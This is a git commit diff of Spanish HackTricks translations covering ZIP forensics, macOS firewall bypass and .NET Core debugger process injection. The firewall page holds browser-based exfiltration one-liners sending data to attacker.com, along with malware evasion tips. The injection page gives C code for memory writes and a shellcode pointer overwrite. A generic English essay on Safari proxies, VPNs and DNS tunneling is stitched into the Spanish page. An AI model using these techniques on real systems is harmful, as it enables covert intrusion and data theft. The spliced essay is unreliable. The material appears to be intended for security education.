Translated ['forensics/basic-forensic-methodology/specific-software-file

This commit is contained in:
Translator 2023-07-14 14:05:47 +00:00
parent 04a10dc017
commit 6668944116
7 changed files with 319 additions and 206 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 MiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 406 KiB

View File

@ -1,29 +1,29 @@
# Trucos de archivos ZIP
# Trucos con archivos ZIP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR a los repositorios** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Hay varias herramientas de línea de comandos para archivos zip que serán útiles conocer.
Hay varias herramientas de línea de comandos para archivos ZIP que serán útiles conocer.
* `unzip` a menudo proporciona información útil sobre por qué un archivo zip no se puede descomprimir.
* `zipdetails -v` proporciona información detallada sobre los valores presentes en los diversos campos del formato.
* `zipinfo` lista información sobre el contenido del archivo zip, sin extraerlo.
* `zip -F input.zip --out output.zip` y `zip -FF input.zip --out output.zip` intentan reparar un archivo zip corrupto.
* [fcrackzip](https://github.com/hyc/fcrackzip) adivina por fuerza bruta una contraseña de zip (para contraseñas de <7 caracteres aproximadamente).
* `unzip` a menudo muestra información útil sobre por qué un archivo ZIP no se puede descomprimir.
* `zipdetails -v` proporciona información detallada sobre los valores presentes en los diferentes campos del formato.
* `zipinfo` lista información sobre el contenido del archivo ZIP sin extraerlo.
* `zip -F input.zip --out output.zip` y `zip -FF input.zip --out output.zip` intentan reparar un archivo ZIP corrupto.
* [fcrackzip](https://github.com/hyc/fcrackzip) realiza un ataque de fuerza bruta para adivinar la contraseña de un archivo ZIP (para contraseñas de menos de 7 caracteres aproximadamente).
[Especificación del formato de archivo zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
[Especificación del formato de archivo ZIP](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
Una nota importante relacionada con la seguridad sobre los archivos zip protegidos con contraseña es que no cifran los nombres de archivo y los tamaños de archivo originales de los archivos comprimidos que contienen, a diferencia de los archivos RAR o 7z protegidos con contraseña.
Una nota importante relacionada con la seguridad sobre los archivos ZIP protegidos con contraseña es que no cifran los nombres de archivo y los tamaños de archivo originales de los archivos comprimidos que contienen, a diferencia de los archivos RAR o 7z protegidos con contraseña.
Otra nota sobre la descarga de archivos zip es que si tiene una copia sin cifrar / sin comprimir de cualquiera de los archivos que se comprimen en el archivo zip cifrado, puede realizar un "ataque de texto sin formato" y descifrar el archivo zip, como se detalla aquí, y se explica en este documento. El nuevo esquema para proteger con contraseña los archivos zip (con AES-256, en lugar de "ZipCrypto") no tiene esta debilidad.
Otra nota sobre la ruptura de archivos ZIP es que si tienes una copia sin cifrar/descomprimida de cualquiera de los archivos que están comprimidos en el archivo ZIP cifrado, puedes realizar un "ataque de texto plano" y romper el archivo ZIP, como se detalla [aquí](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y se explica en [este documento](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). El nuevo esquema para proteger con contraseña los archivos ZIP (con AES-256, en lugar de "ZipCrypto") no tiene esta debilidad.
De: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://localhost:5000/s/-L\_2uGJGU7AVNRcqRvEi/)
De: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://127.0.0.1:5000/s/-L\_2uGJGU7AVNRcqRvEi/)

View File

@ -1,4 +1,4 @@
# Bypass de Firewalls en macOS
# Bypassing Firewalls en macOS
<details>
@ -6,63 +6,62 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Técnicas encontradas
Las siguientes técnicas funcionan en algunas aplicaciones de firewall de macOS.
Se encontraron las siguientes técnicas que funcionan en algunas aplicaciones de firewall de macOS.
### Abuso de nombres de lista blanca
* Por ejemplo, llamar al malware con nombres de procesos de macOS conocidos como **`launchd`**&#x20;
* Por ejemplo, llamar al malware con nombres de procesos conocidos de macOS como **`launchd`**&#x20;
### Click sintético
### Clic sintético
* Si el firewall solicita permiso al usuario, hacer que el malware **haga clic en permitir**
### **Usar binarios firmados por Apple**
### **Utilizar binarios firmados por Apple**
* Como **`curl`**, pero también otros como **`whois`**
### Dominios de Apple conocidos
### Dominios conocidos de Apple
El firewall podría permitir conexiones a dominios de Apple conocidos como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como C2.
El firewall podría permitir conexiones a dominios conocidos de Apple como **`apple.com`** o **`icloud.com`**. Y iCloud podría ser utilizado como un C2.
### Bypass genérico
Algunas ideas para intentar eludir los firewalls.
Algunas ideas para intentar evadir firewalls
### Verificar el tráfico permitido
Conocer el tráfico permitido te ayudará a identificar los dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos.
Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Abusando de DNS
### Abuso de DNS
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, la cual probablemente estará permitida para contactar servidores DNS.
Las resoluciones de DNS se realizan a través de la aplicación firmada **`mdnsreponder`**, que probablemente se permitirá contactar a los servidores DNS.
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt=""><figcaption></figcaption></figure>
### A través de aplicaciones de navegador
* **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
* Google Chrome
{% code overflow="wrap" %}
*Google Chrome* es un navegador web popular que se utiliza en muchos sistemas operativos, incluyendo macOS. A menudo, los firewalls se configuran para bloquear el tráfico de red de Chrome, lo que puede ser un problema para los hackers que intentan establecer una conexión de red. Sin embargo, hay varias formas de evitar los firewalls y establecer una conexión exitosa con Chrome.
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
@ -72,13 +71,59 @@ end tell
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
* Safari
# Bypassing Firewalls in macOS
## Introduction
Firewalls are an essential security measure that protect our systems from unauthorized access and network attacks. However, as a hacker, it is crucial to understand how to bypass firewalls to gain access to restricted resources or exploit vulnerabilities.
In this chapter, we will explore techniques to bypass firewalls in macOS, specifically focusing on the Safari web browser.
## Bypassing Firewalls with Safari
Safari is the default web browser on macOS, and it comes with built-in security features. However, these features can be bypassed using various techniques.
### 1. Proxy Servers
One way to bypass firewalls is by using proxy servers. A proxy server acts as an intermediary between the user and the target website, allowing the user to access restricted content. By configuring Safari to use a proxy server, you can bypass firewall restrictions and access blocked websites.
To configure a proxy server in Safari, follow these steps:
1. Open Safari and go to **Preferences**.
2. Click on the **Advanced** tab.
3. Click on the **Change Settings** button next to **Proxies**.
4. Select the **Web Proxy (HTTP)** option and enter the proxy server's IP address and port number.
5. Click **OK** to save the changes.
### 2. VPNs
Virtual Private Networks (VPNs) can also be used to bypass firewalls. A VPN creates a secure connection between the user's device and a remote server, encrypting the traffic and hiding the user's IP address. By connecting to a VPN server outside the restricted network, you can bypass firewall restrictions and access blocked websites.
To use a VPN in Safari, follow these steps:
1. Install a VPN client on your macOS device.
2. Open the VPN client and connect to a VPN server outside the restricted network.
3. Once connected, open Safari and browse the web as usual.
### 3. DNS Tunneling
DNS tunneling is another technique that can be used to bypass firewalls. It involves encapsulating non-DNS traffic within DNS packets, allowing it to bypass firewall restrictions. By using a DNS tunneling tool, you can redirect your Safari traffic through DNS queries, effectively bypassing firewalls.
To use DNS tunneling in Safari, follow these steps:
1. Install a DNS tunneling tool on your macOS device.
2. Configure the tool to redirect Safari traffic through DNS queries.
3. Open Safari and browse the web as usual.
## Conclusion
Bypassing firewalls in macOS, particularly with Safari, requires a good understanding of the techniques and tools available. By using proxy servers, VPNs, or DNS tunneling, you can bypass firewall restrictions and gain access to restricted resources. However, it is important to note that these techniques should only be used for ethical purposes, such as penetration testing or authorized security assessments.
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### A través de inyecciones de procesos
Si puedes **inyectar código en un proceso** que tenga permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:
Si puedes **inyectar código en un proceso** que tiene permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
@ -92,10 +137,10 @@ Si puedes **inyectar código en un proceso** que tenga permiso para conectarse a
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -16,16 +16,16 @@
### **Establecer una sesión de depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado de .NET.\
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\
Crea dos tuberías con nombre por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo).
Por lo tanto, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
Entonces, si vas al directorio **`$TMPDIR`** del usuario, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través del tubo `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET:
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través de la tubería `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET:
```c
struct MessageHeader
{
@ -47,7 +47,7 @@ DWORD m_dwMinorVersion;
BYTE m_sMustBeZero[8];
}
```
En el caso de una solicitud de nueva sesión, esta estructura se rellena de la siguiente manera:
En el caso de una solicitud de nueva sesión, esta estructura se completa de la siguiente manera:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
@ -62,11 +62,11 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Una vez construido, **enviamos esto al objetivo** utilizando la llamada del sistema `write`:
Una vez construido, **enviamos esto al objetivo** utilizando la llamada al sistema `write`:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData`, que contiene un GUID para identificar nuestra sesión:
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData` que contiene un GUID para identificar nuestra sesión:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
@ -74,7 +74,7 @@ memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Al enviar nuestra solicitud de sesión, **leemos desde el tubo `out` una cabecera** que indicará **si** nuestra solicitud para establecer si una sesión de depuración ha sido **exitosa** o no:
Al enviar nuestra solicitud de sesión, **leemos desde la tubería `out` una cabecera** que indicará **si** nuestra solicitud para establecer una sesión de depuración ha sido **exitosa** o no:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
@ -122,9 +122,9 @@ return false;
return true;
}
```
### Escribir en memoria
El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
### Escribir en la memoria
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
@ -164,22 +164,22 @@ El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist
### Ejecución de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode que se ejecutará. Esto se puede hacer fácilmente con:
Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función compatibles se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firma** al estilo de mimikatz para buscar a través de **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al que podemos desreferenciar:
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firma. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, estamos interesados en un campo devuelto que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Usando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** dentro de la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, nos interesa un campo que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Utilizando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** en la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio shellcode.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio código shell.
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
El código POC completo utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias
@ -190,9 +190,9 @@ El código completo de POC utilizado para la inyección en PowerShell se puede e
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# Inclusión de archivos / Traversal de ruta
# Inclusión de archivos/Travesía de ruta
<details>
@ -6,25 +6,32 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
🐞 Lee tutoriales de errores web3
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
💬 Participa en discusiones comunitarias
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
